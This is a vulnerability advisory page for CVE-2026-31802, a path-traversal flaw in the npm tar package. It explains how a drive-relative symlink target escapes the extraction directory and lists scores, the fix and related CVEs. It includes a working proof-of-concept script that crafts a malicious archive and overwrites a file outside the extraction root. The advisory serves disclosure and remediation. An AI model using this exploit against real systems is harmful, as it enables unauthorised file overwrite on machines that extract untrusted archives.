Skip to main content

CVE-2026-31802 — Vulnerability in tar — CVE Details

HIGH

node-tar Symlink Path Traversal via Drive-Relative Linkpath

Published March 10, 2026Updated September 10, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.21%). Schedule for your next planned update.

Does your project use an affected tar version?

Paste your package-lock.json to check it for CVE-2026-31802 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my package-lock.json

Summary

Summary

tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt":

  1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
  2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
  3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
  4. Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.10.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files

Advisory Timeline

  • First published March 10, 2026 (260 days ago).
  • Last revised September 10, 2026 — 183 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update tar to 7.5.11 or later
npm install tar@7.5.11

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageFixed In
tar npm · Affected: All versions7.5.11

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.1 score means for each attack dimension.

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N

Frequently Asked Questions

What is CVE-2026-31802?
node-tar Symlink Path Traversal via Drive-Relative Linkpath. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.1/10).
How do I check if my project is affected by CVE-2026-31802?
CVE-2026-31802 affects tar. It has a 0.2% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-31802 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.1

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
0.21%
EPSS percentile: 6.6

This is a below-median EPSS score — only 6.6% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-9ppj-qmqm-q256

Related CVEs

  • CVE-2026-59873
    CRITICAL

    node-tar: Decompression/parse DoS via unlimited input

  • CVE-2026-24842
    HIGH

    node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal

  • CVE-2021-32804
    HIGH

    Arbitrary File Creation/Overwrite due to insufficient absolute path sanitization

  • CVE-2021-37713
    HIGH

    Arbitrary File Creation/Overwrite on Windows via insufficient relative path sanitization

  • CVE-2026-26960
    HIGH

    Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction

  • CVE-2026-23745
    HIGH

    node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization

  • CVE-2026-59874
    HIGH

    node-tar: Negative tar entry size causes infinite loop in archive replace

  • CVE-2021-37701
    HIGH

    Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my package-lock.json